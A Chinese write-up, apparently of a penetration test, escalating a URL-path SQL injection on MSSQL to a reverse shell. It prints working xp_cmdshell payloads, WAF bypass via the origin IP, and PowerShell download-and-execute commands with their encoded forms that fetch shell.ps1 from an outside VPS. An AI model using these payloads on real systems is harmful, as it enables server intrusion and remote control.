简单记录一下我们利用 xp_cmdshell 和 PowerShell 编码命令从 SQL 注入获取 RCE 的发现
1.Burpsuite扫描结果
这一切都始于 Burpsuite 扫描的结果,该结果在 上显示了 SQL 注入警报/download/123/123
。它与通常的 SQL 注入不同,因为此 SQLi 注入位于设计用于下载文档的端点的 URL 路径内。
在问题详细信息中,Burpsuite 使用了以下基于时间的 SQL 注入负载,应用程序响应时间为 20074 毫秒(20 秒),与仅花费 2327 毫秒(2 秒)的原始请求显着不同。这强烈表明 Web 容易受到基于时间的 SQL 注入的攻击。
waitfor delay'0:0:20' ---> Respons : 20073 milisecond (20 second)
original request ---> 2327 milisecond (2 second)
2. SQLMap(由于WAF而无法工作)
接下来,为了加快证明过程,我们开始尝试使用 SQLMap 来利用它,但没有成功,即使只是检索数据库名称。这表明该网站已受到 Web 应用程序防火墙 (WAF) 的保护。
与此同时,也因为我们想要尝试尝试绕过其 WAF 之外的替代方案,我们决定手动尝试多个有效负载。
3.使用XP_CMDSHELL
由于目标使用 Microsoft SQL Server,我们尝试使用 xp_cmdshell 执行命令。
xp_cmdshell -> 生成一个 Windows 命令 shell 并传入一个字符串以供执行。任何输出都以文本行的形式返回。 (来源:learn.microsoft.com)
xp_cmdshell
是 Microsoft SQL Server 中的一个命令,用于在服务器上执行命令。默认情况下,此功能处于禁用状态。
为了确保 xp_cmdshell 已启用并且可以在目标上执行命令,我们尝试针对虚拟专用服务器 (VPS) (165.1.2.123)ping
的 IP 执行命令。
Payload:
EXEC xp_cmdshell 'ping 165.1.2.123';--
Injection URL :
https://redacted.com/download/123/123 EXEC xp_cmdshell 'ping%20165.1.2.123';--
URL Decoded :
https://redacted.com/download/123/123%20EXEC%20xp_cmdshell%20'ping%20165.1.2.123'%3b--
在我们的 VPS 上,我们转储网络数据包,用于tcpdump
检测 eth0 接口上任何传入的 Ping 请求 (ICMP)。-i eth0
tcpdump -i eth0 -icmp
是的!xp_cmdshell
成功在目标上执行 ping 命令。根据tcpdump
上面的结果,我们还获得了目标的真实IP地址redacted.com
,即152.xxx.xxx.xxx
。
4. 使用真实IP绕过WAF
事先,SQLMap检测到目标网站前面可能存在WAF。我们通过 ping 确认了这一点redacted.com
,发现 ping 被重定向到前缀为 WAF 的子域 ->waf123.redacted.com
因此,为了绕过该 WAF,我们可以通过在笔记本电脑上编辑文件来将redacted.com
域直接定向到其原始 IP 地址。在 Windows 上,它通常位于152.xxx.xxx.xxx hosts C:/Windows/System32/drivers/etc/hosts
然后我们再次尝试 ping,以确保redacted.com
绕过 WAF,直接通过其原始 IP 地址进行访问。从那时起,连接就redacted.com
直接定向到 IP 152.xxx.xxx.xxx
。
5. 传送shell.ps1时的障碍
下一步,我们尝试利用此 SQL 注入来获取反向 shell。首先,我们准备了一个 PowerShell 文件 (.ps1),它将执行命令来建立与侦听器(反向 shell)的连接。我们使用shell.ps1
从以下位置获得的powershell-reverse-shell.ps1
:
PowerShell-reverse-shell/powershell-reverse-shell.ps1 at main · martinsohn/PowerShell-reverse-shell
在 PowerShell 中反转 TCP shell 以获得乐趣。于 2020 年春季制作,灵感来自(以及一些修复)……
将侦听器 IP 和侦听器端口更改为165.1.2.123
port 上的我们的 VPS IP 地址4447
。然后我们将其托管shell.ps1
在我们的 VPS Web 服务器上。
让我们在端口上设置监听器4447
。
nc -nlvp 4447
接下来,我们需要在目标上运行命令来下载shell.ps1
文件,然后执行它。因此,我们在 上运行了以下命令xp_cmdshell
:
powershell.exe -c iwr -Uri "http://165.1.2.123/shell.ps1"
然而,我们遇到的障碍是注入位置在URL内,所以我们无法在执行的命令中输入斜杠
xp_cmdshell
。每个斜杠/
都会被检测为路径的一部分。因此,注射失败。编码形式的斜杠也是如此,例如%2F
.
在这个问题上苦苦挣扎了一段时间但仍未找到成功的解决方案后,我们尝试了多种方法。例如,我们尝试将shell.ps1
其作为索引放置在我们的 VPS Web 服务器上,因此我们不需要斜杠 (/) 来下载它。但是,这种方法失败了,因为将其保存在服务器上的可写位置仍然需要斜杠(在 C:/Windows/TEMP/ 中)。我们还尝试了各种其他方法。
最终,在休息了一段时间后,Biidznillah,我想起了在准备 OSCP 考试的实验室练习中学到的东西。是的,我们可以以编码形式执行PowerShell命令。
6. Powershell编码命令
我们可以使用 powershell-e
选项以编码形式在 PowerShell 中运行命令。Powershell编码器可以通过以下链接访问:
GitHub 和 BitBucket HTML 预览
编辑描述
我们最初尝试运行的命令如下,但没有成功。
## 执行远程脚本
"IEX(New-Object System.Net.WebClient).DownloadString('http://165.1.2.123/shell.ps1')
上面的命令用于远程访问字符串,然后PowerShell将直接执行它。我们多次成功地与目标建立了 shell 连接,但几乎所有连接都不稳定,因为它们仍然依赖于 Web 服务器中的会话(因为注入是通过 URL 进行的),从而导致“504 Gateway Timeout”错误,并且shell 已断开连接,根本无法在服务器上执行任何命令。
因此,我们将命令分为两部分:
- 下载
shell.ps1
并将其保存到可写路径,在 Windows 上为C:/Windows/TEMP/
. - 执行命令来运行
shell.ps1
。
所以,我们执行的最终有效负载如下:
##下载 shell 并保存到 TEMP
iwr -Uri "http://165.1.2.123/shell.ps1" -OutFile "$env:TEMPshell.ps1";
## 执行 shell
iex "$env:TEMPshell.ps1"
解释,第一部分:
iwr
:这是 PowerShell 中 Invoke-WebRequest cmdlet 的简写别名。它用于向 Web 服务器发送 HTTP 和 HTTPS 请求并下载内容。-Uri “http://165.1.2.123/shell.ps1"
:指定要下载的资源的统一资源标识符(URI)。在本例中,它是位于指定 URL 的 PowerShell 脚本。-OutFile “$env:TEMPshell.ps1”
:指定下载内容的保存路径。$env:TEMP
是Windows中的一个环境变量,指向当前用户的临时目录。下载的脚本将以文件名 shell.ps1 保存在该目录中。
第二部分:
iex
Invoke-Expression
:这是PowerShell 中 cmdlet的简写别名。它用于运行存储在变量或字符串中的 PowerShell 命令或脚本。“$env:TEMPshell.ps1”
:这引用了先前下载的 PowerShell 脚本存储在临时目录中的路径($env:TEMP)
。它指定脚本文件的位置shell.ps1
。
然后我们使用 PowerShell EncodedCommand 工具对命令进行编码。
因此,命令变为:
# 下载 shell
EXEC xp_cmdshell 'powershell -e aQB3AHIAIAAtAFUAcgBpACAAIgBoAHQAdABwADoALwAvADEANgA1AC4AMQAuADIALgAxADIAMwAvAHMAaABlAGwAbAAuAHAAcwAxACIAIAAtAE8AdQB0AEYAaQBsAGUAIAAiACQAZQBuAHYAOgBUAEUATQBQAFwAcwBoAGUAbABsAC4AcABzADEAIgA7AA==';--
# 执行shell
EXEC xp_cmdshell 'powershell -e aQBlAHgAIAAiACQAZQBuAHYAOgBUAEUATQBQAFwAcwBoAGUAbABsAC4AcABzADEAIgA=';--
在执行下载的 shell 之前设置监听器
然后运行注入有效负载来执行下载的shell.ps1
.带有注入命令的完整 URL 如下所示:
https://redacted.com/download/123/123%20EXEC%20xp_cmdshell%20'powershell.exe%20-e%20aQBlAHgAIAAiACQAZQBuAHYAOgBUAEUATQBQAFwAcwBoAGUAbABsAC4AcABzADEAIgA='%3b--
拿到shell了!
暂无评论内容